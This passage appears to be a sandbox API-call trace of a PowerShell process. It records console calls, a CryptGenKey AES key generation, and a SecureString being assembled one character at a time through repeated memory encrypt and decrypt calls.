returned 0x1b5 [0203.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0203.307] GetConsoleOutputCP () returned 0x1b5 [0203.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0203.307] GetConsoleOutputCP () returned 0x1b5 [0203.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.307] GetConsoleOutputCP () returned 0x1b5 [0203.308] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.308] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e75c | out: lpConsoleScreenBufferInfo=0x5a2e75c) returned 1 [0203.308] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e754 | out: lpMode=0x5a2e754) returned 1 [0203.308] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23a06c0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e748, lpReserved=0x0 | out: lpBuffer=0x23a06c0*, lpNumberOfCharsWritten=0x5a2e748*=0x4f) returned 1 [0203.309] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e754 | out: lpMode=0x5a2e754) returned 1 [0203.309] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e748, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e748*=0x2) returned 1 [0203.310] EtwEventActivityIdControl () returned 0x0 [0203.310] EtwEventActivityIdControl () returned 0x0 [0203.311] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.311] EtwEventActivityIdControl () returned 0x0 [0203.311] EtwEventActivityIdControl () returned 0x0 [0203.311] EtwEventActivityIdControl () returned 0x0 [0203.313] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.313] EtwEventActivityIdControl () returned 0x0 [0203.313] EtwEventActivityIdControl () returned 0x0 [0203.313] EtwEventActivityIdControl () returned 0x0 [0203.315] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cd48) returned 1 [0203.316] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69180) returned 1 [0203.316] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0203.317] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0203.317] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23a85fc, pdwDataLen=0x5a2e82c | out: pbData=0x23a85fc*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0203.317] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.317] EtwEventActivityIdControl () returned 0x0 [0203.317] EtwEventActivityIdControl () returned 0x0 [0203.317] EtwEventActivityIdControl () returned 0x0 [0203.318] SysStringLen (param_1="") returned 0x8 [0203.318] SysStringLen (param_1="X") returned 0x8 [0203.318] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.319] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0203.319] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0203.319] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.319] SysStringLen (param_1="Xo") returned 0x8 [0203.319] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.319] SysStringLen (param_1="훟槤␊\拞鋢뱡沏⋑) returned 0x8 [0203.319] SysStringLen (param_1="훟槤␊\拞鋢뱡沏⋑) returned 0x8 [0203.319] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.319] SysStringLen (param_1="Xot") returned 0x8 [0203.319] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.319] SysStringLen (param_1="㛱᤾십㱷轠끛Ⅻ") returned 0x8 [0203.319] SysStringLen (param_1="㛱᤾십㱷轠끛Ⅻ") returned 0x8 [0203.320] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.320] SysStringLen (param_1="XotV") returned 0x8 [0203.320] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.320] SysStringLen (param_1="䔧돞ﱞ躎鑦賊絡韉") returned 0x8 [0203.320] SysStringLen (param_1="䔧돞ﱞ躎鑦賊絡韉") returned 0x8 [0203.320] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.320] SysStringLen (param_1="XotVO") returned 0x8 [0203.320] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.320] SysStringLen (param_1="ㄨ馭쌉ö⿑햪") returned 0x8 [0203.320] SysStringLen (param_1="ㄨ馭쌉ö⿑햪") returned 0x8 [0203.320] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.320] SysStringLen (param_1="XotVOR") returned 0x8 [0203.320] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.320] SysStringLen (param_1="맥︀䞻︰酆䌩\\ポ") returned 0x8 [0203.320] SysStringLen (param_1="맥︀䞻︰酆䌩\\ポ") returned 0x8 [0203.320] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.321] SysStringLen (param_1="XotVORH") returned 0x8 [0203.321] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.321] SysStringLen (param_1="ᙂ୲몠紂栛袭깢⯬") returned 0x8 [0203.321] SysStringLen (param_1="ᙂ୲몠紂栛袭깢⯬") returned 0x8 [0203.321] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.321] SysStringLen (param_1="XotVORH6") returned 0x8 [0203.321] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0203.321] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂∙) returned 0x8 [0203.321] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂∙) returned 0x8 [0203.321] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂∙) returned 0x8 [0203.321] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂∙) returned 0x10 [0203.321] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.322] SysStringLen (param_1="XotVORH60ᧆ㫷鼖湗㇆풭") returned 0x10 [0203.322] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.322] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂뺖껶䁷퍺䜷ꓬ≁) returned 0x10 [0203.322] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂뺖껶䁷퍺䜷ꓬ≁) returned 0x10 [0203.322] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.322] SysStringLen (param_1="XotVORH60I㫷鼖湗㇆풭") returned 0x10 [0203.322] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.322] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂ꄙ俆ᶂ膕䔖댙⎢∈) returned 0x10 [0203.322] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂ꄙ俆ᶂ膕䔖댙⎢∈) returned 0x10 [0203.322] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.322] SysStringLen (param_1="XotVORH60IT鼖湗㇆풭") returned 0x10 [0203.322] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.322] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂阙鑲\囚瞧⏟莠錑") returned 0x10 [0203.322] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂阙鑲\囚瞧⏟莠錑") returned 0x10 [0203.322] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.322] SysStringLen (param_1="XotVORH60ITu鼖湗㇆풭") returned 0x10 [0203.322] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.323] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂ጙ鎆쏉㙯⬟潳ﱳ⋋) returned 0x10 [0203.323] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂ጙ鎆쏉㙯⬟潳ﱳ⋋) returned 0x10 [0203.323] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.323] SysStringLen (param_1="XotVORH60ITuM湗㇆풭") returned 0x10 [0203.323] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.323] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂踙榆ທ替፠㤶畠끘∬) returned 0x10 [0203.323] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂踙榆ທ替፠㤶畠끘∬) returned 0x10 [0203.323] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.323] SysStringLen (param_1="XotVORH60ITuM1㇆풭") returned 0x10 [0203.323] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.323] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂﬙韘正빹攑퇔碫ഢ∈) returned 0x10 [0203.323] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂﬙韘正빹攑퇔碫ഢ∈) returned 0x10 [0203.323] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.323] SysStringLen (param_1="XotVORH60ITuM1i풭") returned 0x10 [0203.323] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.323] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂舙⹡ꛭ쵸擄洖㟔∩) returned 0x10 [0203.324] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂舙⹡ꛭ쵸擄洖㟔∩) returned 0x10 [0203.324] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.324] SysStringLen (param_1="XotVORH60ITuM1i0") returned 0x10 [0203.324] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0203.324] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍⊱) returned 0x10 [0203.324] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍⊱) returned 0x10 [0203.324] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍⊱) returned 0x10 [0203.324] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍⊱) returned 0x18 [0203.324] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.324] SysStringLen (param_1="XotVORH60ITuM1i0N퉯휧텝࿷碛绑簇") returned 0x18 [0203.324] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.324] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍붱Ṗ짋㾴嚭ꪌ\寚") returned 0x18 [0203.324] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍붱Ṗ짋㾴嚭ꪌ\寚") returned 0x18 [0203.324] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.325] SysStringLen (param_1="XotVORH60ITuM1i0Ni휧텝࿷碛绑簇") returned 0x18 [0203.325] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.325] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍\保鿍蹸⯈鿭狓☲") returned 0x18 [0203.325] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍\保鿍蹸⯈鿭狓☲") returned 0x18 [0203.325] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.325] SysStringLen (param_1="XotVORH60ITuM1i0NiW텝࿷碛绑簇") returned 0x18 [0203.325] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.325] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍禱鎮ꖐ㺓㏋⥊弪⊫) returned 0x18 [0203.325] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍禱鎮ꖐ㺓㏋⥊弪⊫) returned 0x18 [0203.325] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.325] SysStringLen (param_1="XotVORH60ITuM1i0NiWF࿷碛绑簇") returned 0x18 [0203.325] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.325] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍骱곐蟷☳\쇘㇕ꦾ") returned 0x18 [0203.325] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍骱곐蟷☳\쇘㇕ꦾ") returned 0x18 [0203.325] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.325] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF碛绑簇") returned 0x18 [0203.325] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.326] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍暱꬗嚧콱ⶩ賎∑ႃ⊲) returned 0x18 [0203.326] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍暱꬗嚧콱ⶩ賎∑ႃ⊲) returned 0x18 [0203.326] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.326] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9绑簇") returned 0x18 [0203.326] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.501] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍炱枧ᾶ磼嚋适⊖) returned 0x18 [0203.501] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍炱枧ᾶ磼嚋适⊖) returned 0x18 [0203.501] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.501] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9S簇") returned 0x18 [0203.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.501] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍㕪쁪쯶퓄掗≧) returned 0x18 [0203.501] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍㕪쁪쯶퓄掗≧) returned 0x18 [0203.501] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.501] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SA") returned 0x18 [0203.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0203.501] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ∘) returned 0x18 [0203.502] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ∘) returned 0x18 [0203.502] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ∘) returned 0x18 [0203.502] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ∘) returned 0x20 [0203.502] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.502] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAv罘舶宁컲㈞햐") returned 0x20 [0203.502] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.502] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ䰘\䛘麸嗃⍃Ұ笞욺") returned 0x20 [0203.502] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ䰘\䛘麸嗃⍃Ұ笞욺") returned 0x20 [0203.502] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.502] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvq罘舶宁컲㈞햐") returned 0x20 [0203.503] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.503] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ䜘❩㵣꒘궮횚릱춋⊇) returned 0x20 [0203.503] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ䜘❩㵣꒘궮횚릱춋⊇) returned 0x20 [0203.503] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.503] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqp舶宁컲㈞햐") returned 0x20 [0203.503] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.503] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ݇囫ᖨ郥鷛ﭑ쑠∬) returned 0x20 [0203.503] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ݇囫ᖨ郥鷛ﭑ쑠∬) returned 0x20 [0203.503] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.503] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpK宁컲㈞햐") returned 0x20 [0203.503] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.503] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ✘颇ᣴ॥酲颕ꏜ峵≾) returned 0x20 [0203.503] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ✘颇ᣴ॥酲颕ꏜ峵≾) returned 0x20 [0203.503] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.503] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZ컲㈞햐") returned 0x20 [0203.503] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.504] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁᄿሬ┗囔䅻佢≿) returned 0x20 [0203.504] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁᄿሬ┗囔䅻佢≿) returned 0x20 [0203.504] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.504] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZz㈞햐") returned 0x20 [0203.504] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.504] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ༘ෙ䉸뎞ᯩ᧣퟊ஹ⋾) returned 0x20 [0203.504] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ༘ෙ䉸뎞ᯩ᧣퟊ஹ⋾) returned 0x20 [0203.504] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.504] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzb햐") returned 0x20 [0203.504] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.504] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ堘䢡ꉪ檽鴶좞ṋ䏶∞) returned 0x20 [0203.504] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ堘䢡ꉪ檽鴶좞ṋ䏶∞) returned 0x20 [0203.504] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.504] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbt") returned 0x20 [0203.504] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.505] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁∖) returned 0x20 [0203.505] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁∖) returned 0x20 [0203.505] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁∖) returned 0x20 [0203.505] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁∖) returned 0x28 [0203.505] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.505] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtT䑷ᛁ悅ꪘ돟㉍\⋛) returned 0x28 [0203.505] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.505] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁䜖ꟓ뭱匎殐셇燁∉) returned 0x28 [0203.505] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁䜖ꟓ뭱匎殐셇燁∉) returned 0x28 [0203.505] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.505] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpᛁ悅ꪘ돟㉍\⋛) returned 0x28 [0203.505] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.506] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁⬖㛐줵壔Ҷ퇇\뷜닍") returned 0x28 [0203.506] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁⬖㛐줵壔Ҷ퇇\뷜닍") returned 0x28 [0203.506] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.506] SysStringLen (param_1="XotVORH60ITuM1i0NiWFF9SAvqpKZzbtTpm悅ꪘ돟㉍\⋛) returned 0x28 [0203.506] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.506] SysStringLen (param_1="푂⅓䶞娡ᓹ\뗘陂퀙切仪鎠ᡫꋎ㰍ꆱꉮ㇝游跐浸ꭁ븘꡼䭡矚ꀡ㸅⍁謖륒㱁ᘈ漸㪧⋔) returned 0x28 [0203.506] SysStringLen 